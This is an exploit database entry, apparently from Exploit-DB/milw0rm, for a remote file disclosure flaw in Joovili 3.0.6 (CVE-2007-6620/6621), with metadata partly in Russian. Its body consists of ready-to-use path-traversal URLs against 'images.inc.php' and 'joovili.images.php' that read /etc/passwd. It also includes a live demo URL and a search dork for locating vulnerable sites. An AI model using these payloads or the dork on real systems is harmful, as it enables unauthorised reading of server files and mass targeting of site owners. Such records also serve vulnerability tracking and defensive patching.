Exploit Joovili 3.0.6 - 'joovili.images.php' Remote File Disclosure

[Exploiter]

EDB-ID

4799

Проверка EDB

1. Пройдено

Автор

ECHOLL

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-6621 cve-2007-6620

Дата публикации

2007-12-27

found by EcHoLL
version: 2.***
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
version 3.**
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
 
demo
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
dork: powered by joovili

# milw0rm.com [2007-12-27]